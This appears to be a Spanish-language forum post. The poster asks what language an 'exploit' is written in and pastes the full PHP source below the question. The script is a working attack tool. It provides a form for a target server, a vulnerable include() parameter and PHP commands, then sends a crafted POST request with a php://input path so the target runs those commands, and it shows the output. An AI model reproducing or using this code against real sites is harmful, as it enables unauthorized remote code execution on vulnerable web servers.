Este xplit en que idioma esta compilado? no parece ser C ni perl :S
<form action="" methode="post" >
target server : <input type="text" name="server" ><br><br>
target file (including URI parameter used in include() call ex:"index.php?includeParam=") : <input type="text" name="file" ><br><br>
exec (enclose php commands between <? .. ?> tags): <input type="text" name="cmd" ><br><br>
<INPUT type="submit" value="send">
</form>
<?
if($cmd){
$message = "POST /".$file."php://input HTTP/1.1\r\n";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message .= "Accept-Language: fr\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "Accept-Encoding: deflate\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen( $cmd )."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cache-Control: no-cache\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
while(!feof($fd)) {
echo fgets($fd,1280);
}
fclose($fd);
}
?>
Autor